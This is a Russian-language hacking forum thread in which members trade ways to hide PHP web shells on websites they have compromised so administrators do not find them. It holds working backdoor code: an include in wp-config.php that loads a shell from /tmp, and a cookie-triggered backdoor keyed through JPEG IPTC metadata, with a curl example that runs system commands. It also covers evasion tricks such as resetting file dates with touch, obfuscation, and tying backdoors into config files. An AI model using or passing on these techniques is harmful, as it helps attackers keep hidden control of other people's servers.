Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Маскируем Shell || Прячемся от админа (https://forum.antichat.xyz/showthread.php?t=428284)

Filipp 28.07.2015 18:40

Пару недель назад решил взять себя в руки, и начать учить PHP, а то паскаль не в счёт. Есть у меня один сайт, в котором я нехило накосячил по неопытности, в итоге админы посносили все шеллы, и начали регулярно проверять на наличие блох.

Первым действием я поискал на форуме, затем погуглил, прочитавши все способы понял, что ловить с них нечего. Всё в конечном итоге сводится к тому, что-бы добавить что-то в .htaccess, а мои админы это палят. Еще конечно был вариант с Cron'ом на линуксе, но это ужасно неудобно, ведь однажды админы разозлятся и пофиксят валнераблу.

И тут мне пришла идея, вроде всё просто, но это работает:​

Код:

Code:
$data = $_GET['youpass'];
if ($data == "youpass")
    include "/tmp/6.jpg";

Для начала, нам нужно найти какой-нибудь PHP'шник, который не будет давать никакого результат на экран. В моем случае сайт стоит на WP, и я выбрал wp-config.php. В PHP есть очень хорошая команда include, которой всё равно на расширение. Она открывает и выполняет код, т.е можно запихнуть шелл в любую папку доступную для записи с любым расширением.

Минусы:
  • [COLOR="rgb(255, 166, 77)"]От админов, которые умеют читать логи ничего не спасёт.[/COLOR]
Прошло 3 недели. а шелл никто не фиксит. Способ работает.Вообщем-то всё. Надеюсь мои занятия по PHP не пройдут даром)

faza02 28.07.2015 19:48

это палит access_log. плюс, если админы не проверяют все файлы на сервере - это горе админы. wp-config не должен вообще быть в access логе, а если есть - значит что-то не так. способ хорош только для тех, кто только что познакомился с интернетом. без обид

winstrool 28.07.2015 19:55

Цитата:

Сообщение от Filipp
Filipp said:

Первым действием я поискал на форуме, затем погуглил, прочитавши все способы понял, что ловить с них нечего.

Вы представляете, что есле весомые способы были в паблике, то они перестале бы быть таковыми

P.S: Метод с легкостью палится

Filipp 28.07.2015 21:44

Цитата:

Сообщение от yarbabin
yarbabin said:

это палит access_log

Любой шелл палят логи, если их нельзя удалить)) Бэкдоры оставляют именно таким способом. Wp-config был приведен как пример, обычно есть еще масса других PHP'шников. Вот как вы поймете что на сайте шелл?) Описанный мной метод занимает 1-2КБ веса, что почти незаметно) + код можно закриптить. Далее touch'ишь по дате, и всё. Единственный способ это сравнения веса файла, и то, файлы обновляются, вдруг эту модификацию внесло какое-нить дополнение или плагин? Только если очень грамотный админ спалит. Вот если бы вы были админом античата, вы бы такое спалили? Допустим логов нет, тут всё понятно, те кто дружат с логами это спалят.

winstrool 28.07.2015 21:49

Спалить можно по дате создания и изменения файлов, это раз! по поиску в файлах

$_GET, это два, по хешь суммам оригинальной CMS и про трояненой!

faza02 28.07.2015 22:24

а файл, который вы инклудите, это что? он тоже ничего не весит?

faza02 28.07.2015 22:24

с таким же успехом залейте htaccess и пусть jpg исполняется как php

Filipp 28.07.2015 22:24

Цитата:

Сообщение от winstrool
winstrool said:

Спалить можно по дате создания и изменения файлов, это раз! по поиску в файлах
$_GET, это два, по хешь суммам оригинальной CMS и про трояненой!

Я же написал, дату поменять touch'ем как раз плюнуть. Код можно обфусифицировать, и уже поиск &_GET не поможет. Хеш сумма это да, но обычно часто движок может чё-то дописать. Разобраться где бэкдор, а где работа движка сможет разобраться только опытный админ.

Filipp 28.07.2015 22:27

Цитата:

Сообщение от yarbabin
yarbabin said:

с таким же успехом залейте htaccess и пусть jpg исполняется как php

Палиться) Это слишком подозрительно, после того как админы поудаляли шелл, и зайдя в htaccess состоящий с одной строчки сразу всё понятно. У меня это спалили через два часа. А по поводу файла который инклудится, обратите внимания на его путь. Вы бы додумались искать шелл в темповской папке, ил любой другой с правами на запись?

winstrool 28.07.2015 22:27

Цитата:

Сообщение от Filipp
Filipp said:

Я же написал, дату поменять touch'ем как раз плюнуть. Код можно обфусифицировать, и уже поиск &_GET не поможет. Хеш сумма это да, но обычно часто движок может чё-то дописать. Разобраться где бэкдор, а где работа движка сможет разобраться только опытный админ.

Ну об обуссифекации вы тут ничего не писали, а touch'ем вы можете поменять дату изменения, но ни как не дату создания!

Цитата:

Сообщение от Filipp
Filipp said:

Палиться) Это слишком подозрительно, после того как админы поудаляли шелл, и зайдя в htaccess состоящий с одной строчки сразу всё понятно. У меня это спалили через два часа.

Да уж, я бы никогда не догадался, что в .htaccess можно спрятать шелл)))))

-=Cerberus=- 28.07.2015 22:32

О Боги)))) а почему, никто не думает о том, что шелл лучше не хранить на сервере совсем. а просто иметь возможность его туда положить тогда когда он вам нужен. Это лучшая маскировка!

Filipp 28.07.2015 22:37

Цитата:

Сообщение от winstrool
winstrool said:

Ну об обуссифекации вы тут ничего не писали, а touch'ем вы можете поменять дату изменения, но ни как не дату создания!
Да уж, я бы никогда не догадался, что в .htaccess можно спрятать шелл[/QOUTE]

Так я ничего не создаю, я редактирую уже существующий файл. С htaccess'ом тоже метод хорош, не спорю, я просто предложил новый способ, менее паливный.

Filipp 28.07.2015 22:39

Цитата:

Сообщение от -=Cerberus=-
-=Cerberus=- said:

О Боги)))) а почему, никто не думает о том, что шелл лучше не хранить на сервере совсем. а просто иметь возможность его туда положить тогда когда он вам нужен. Это лучшая маскировка!

Угу, я так и делал раньше. Пытаюсь толкать рекламу по ночам на сайт, постоянно что-то дописываю и редактирую.. Шелл нужен через каждый час) Легче раз сделать чем по 100 раз заливаться. Ну а так да, вы абсолютно правы.

faza02 29.07.2015 12:36

http://translate.wooyun.io/2015/07/2...Backdoors.html

t0ma5 23.03.2016 19:13

способ на любителя

находим какой либо jpg файл(в примере это test.jpg), добавляем в него метаинформацию "_COOKIE". пример кода для добавления, который также сохраняется время модификации файла

.SpoilerTarget" type="button">Spoiler

Код:

Code:
meta = iptcparse($info["APP13"]);

        $this->file = $filename;
    }

    function getValue($tag)
    {
        return isset($this->meta["2#$tag"]) ? $this->meta["2#$tag"][0] : "";
    }

    function setValue($tag, $data)
    {
        $this->meta["2#$tag"] = [$data];

        $this->write();
    }

    private function write()
    {
        $mode = 0;

        $content = iptcembed($this->binary(), $this->file, $mode); 

        $filename = $this->file;

        if(file_exists($this->file)) unlink($this->file);

        $fp = fopen($this->file, "w");
        fwrite($fp, $content);
        fclose($fp);
    }       

    private function binary()
    {
        $data = "";

        foreach(array_keys($this->meta) as $key)
        {
            $tag = str_replace("2#", "", $key);
            $data .= $this->iptc_maketag(2, $tag, $this->meta[$key][0]);
        }     

        return $data;
    }

    function iptc_maketag($rec, $data, $value)
    {
        $length = strlen($value);
        $retval = chr(0x1C) . chr($rec) . chr($data);

        if($length > 8) .  chr($length & 0xFF);
        }
        else
        {
            $retval .= chr(0x80) .
                      chr(0x04) .
                      chr(($length >> 24) & 0xFF) .
                      chr(($length >> 16) & 0xFF) .
                      chr(($length >> 8) & 0xFF) .
                      chr($length & 0xFF);
        }

        return $retval . $value;           
    } 

    function dump()
    {
        echo "";
        print_r($this->meta);
        echo "";
    }

    #requires GD library installed
    function removeAllTags()
    {
        $this->meta = [];
        $img = imagecreatefromstring(implode(file($this->file)));
        if(file_exists($this->file)) unlink($this->file);
        imagejpeg($img, $this->file, 100);
    }
}

$file = "test.jpg";
$time = filemtime($file);

$objIPTC = new IPTC($file);

//set title
$objIPTC->setValue(IPTC_HEADLINE, "_COOKIE");
touch($file,$time);
//set description
echo $objIPTC->getValue(IPTC_HEADLINE);

?>

после выполнения скрипт должен вывести "_COOKIE"

затем в нужный php файл, в нужном месте добавляем следующий код

Код:

Code:
$file = "test.jpg";
$size = getimagesize($file, $info);
if(isset($info["APP13"])) $info = iptcparse($info["APP13"])['2#105'][0];
if(isset(${$info}['APP13'])) ${$info}['APP13'](${$info}['APP31']);

суть его в том что он чекает наличие куки APP13, выполняет содержимое как функцию + передает в функцию содержимое куки APP31

пример работы

Код:

Code:
$ curl 'http://******.ru/images/123.php' -H 'Cookie: APP13=assert;APP31=system("which bash")'
/usr/bin/bash

+ы - в логах запросов не очень палится, вся инфа прилетает в кукисах, сам код в принципе можно добавить практически в любое место на сайте

-ы - код всё же палевный, по хорошему его надо причесывать и адаптировать под target проект

Filipp 24.03.2016 00:19

Цитата:

Сообщение от t0ma5
t0ma5 said:

способ на любителя
находим какой либо jpg файл(в примере это test.jpg), добавляем в него метаинформацию "_COOKIE". пример кода для добавления, который также сохраняется время модификации файла
Spoiler
Код:

Code:
meta = iptcparse($info["APP13"]);

        $this->file = $filename;
    }

    function getValue($tag)
    {
        return isset($this->meta["2#$tag"]) ? $this->meta["2#$tag"][0] : "";
    }

    function setValue($tag, $data)
    {
        $this->meta["2#$tag"] = [$data];

        $this->write();
    }

    private function write()
    {
        $mode = 0;

        $content = iptcembed($this->binary(), $this->file, $mode);

        $filename = $this->file;

        if(file_exists($this->file)) unlink($this->file);

        $fp = fopen($this->file, "w");
        fwrite($fp, $content);
        fclose($fp);
    }     

    private function binary()
    {
        $data = "";

        foreach(array_keys($this->meta) as $key)
        {
            $tag = str_replace("2#", "", $key);
            $data .= $this->iptc_maketag(2, $tag, $this->meta[$key][0]);
        }   

        return $data;
    }

    function iptc_maketag($rec, $data, $value)
    {
        $length = strlen($value);
        $retval = chr(0x1C) . chr($rec) . chr($data);

        if($length > 8) .  chr($length & 0xFF);
        }
        else
        {
            $retval .= chr(0x80) .
                      chr(0x04) .
                      chr(($length >> 24) & 0xFF) .
                      chr(($length >> 16) & 0xFF) .
                      chr(($length >> 8) & 0xFF) .
                      chr($length & 0xFF);
        }

        return $retval . $value;         
    }

    function dump()
    {
        echo "";
        print_r($this->meta);
        echo "";
    }

    #requires GD library installed
    function removeAllTags()
    {
        $this->meta = [];
        $img = imagecreatefromstring(implode(file($this->file)));
        if(file_exists($this->file)) unlink($this->file);
        imagejpeg($img, $this->file, 100);
    }
}

$file = "test.jpg";
$time = filemtime($file);

$objIPTC = new IPTC($file);

//set title
$objIPTC->setValue(IPTC_HEADLINE, "_COOKIE");
touch($file,$time);
//set description
echo $objIPTC->getValue(IPTC_HEADLINE);

?>

после выполнения скрипт должен вывести "_COOKIE"
затем в нужный php файл, в нужном месте добавляем следующий код
Код:

Code:
$file = "test.jpg";
$size = getimagesize($file, $info);
if(isset($info["APP13"])) $info = iptcparse($info["APP13"])['2#105'][0];
if(isset(${$info}['APP13'])) ${$info}['APP13'](${$info}['APP31']);

суть его в том что он чекает наличие куки APP13, выполняет содержимое как функцию + передает в функцию содержимое куки APP31
пример работы
Код:

Code:
$ curl 'http://******.ru/images/123.php' -H 'Cookie: APP13=assert;APP31=system("which bash")'
/usr/bin/bash

+ы - в логах запросов не очень палится, вся инфа прилетает в кукисах, сам код в принципе можно добавить практически в любое место на сайте
-ы - код всё же палевный, по хорошему его надо причесывать и адаптировать под target проект

А я и забыл про этот пост, так давно это дело писал. Теперь вижу со стороны свои ошибки.. Да все можно сделать намного проще. Например, не проверять GET параметр, а куку. Тогда в логах вообще будет что то типа POST index.php

Unknown 02.04.2016 17:18

я не буду говорить о всех хитростях , но пхп , я переписываю индекс , таким образом, где через require_once, идёт обращение к тем файлам , например конфигам , а сами конфиги переписываю таким образом, что если мой код удалить, нихуя вообще работать не будет =))))) если есть права конечно =)

winstrool 02.04.2016 17:37

Цитата:

Сообщение от Hummer
Hummer said:

я не буду говорить о всех хитростях , но пхп , я переписываю индекс , таким образом, где через require_once, идёт обращение к тем файлам , например конфигам , а сами конфиги переписываю таким образом, что если мой код удалить, нихуя вообще работать не будет =))))) если есть права конечно =)

А потом по error_log'ам отслеживается цепочка), по контролю целостности файлов и diff'у с оригинальной версией отслеживаются изменения и у вас "нихуя вообще работать не будет =)))))"

P.S: Прятать свои шеллы в индексе, большая ошибка, первым же делом туда и полезит не опытный владелец сайта...

Unknown 03.04.2016 10:58

Цитата:

Сообщение от winstrool
winstrool said:

А потом по error_log'ам отслеживается цепочка), по контролю целостности файлов и diff'у с оригинальной версией отслеживаются изменения и у вас "
нихуя вообще работать не будет =)))))
"
P.S: Прятать свои шеллы в индексе, большая ошибка, первым же делом туда и полезит не опытный владелец сайта...

Я говорю про index.php, а не корень сайта. Что не опытный владелец сайта там увидит?

Filipp 03.04.2016 11:28

Цитата:

Сообщение от Hummer
Hummer said:

Я говорю про index.php, а не корень сайта. Что не опытный владелец сайта там увидит?

Все неопытные и опытные админы первым делом смотрят в индекс и это факт. Конечно можно воспользоваться некоторыми хитростями и помещать их именно в индекс, но это подходит только когда нужно закрепиться на сайте, что бы админ не догадывался что вы есть.


Время: 08:47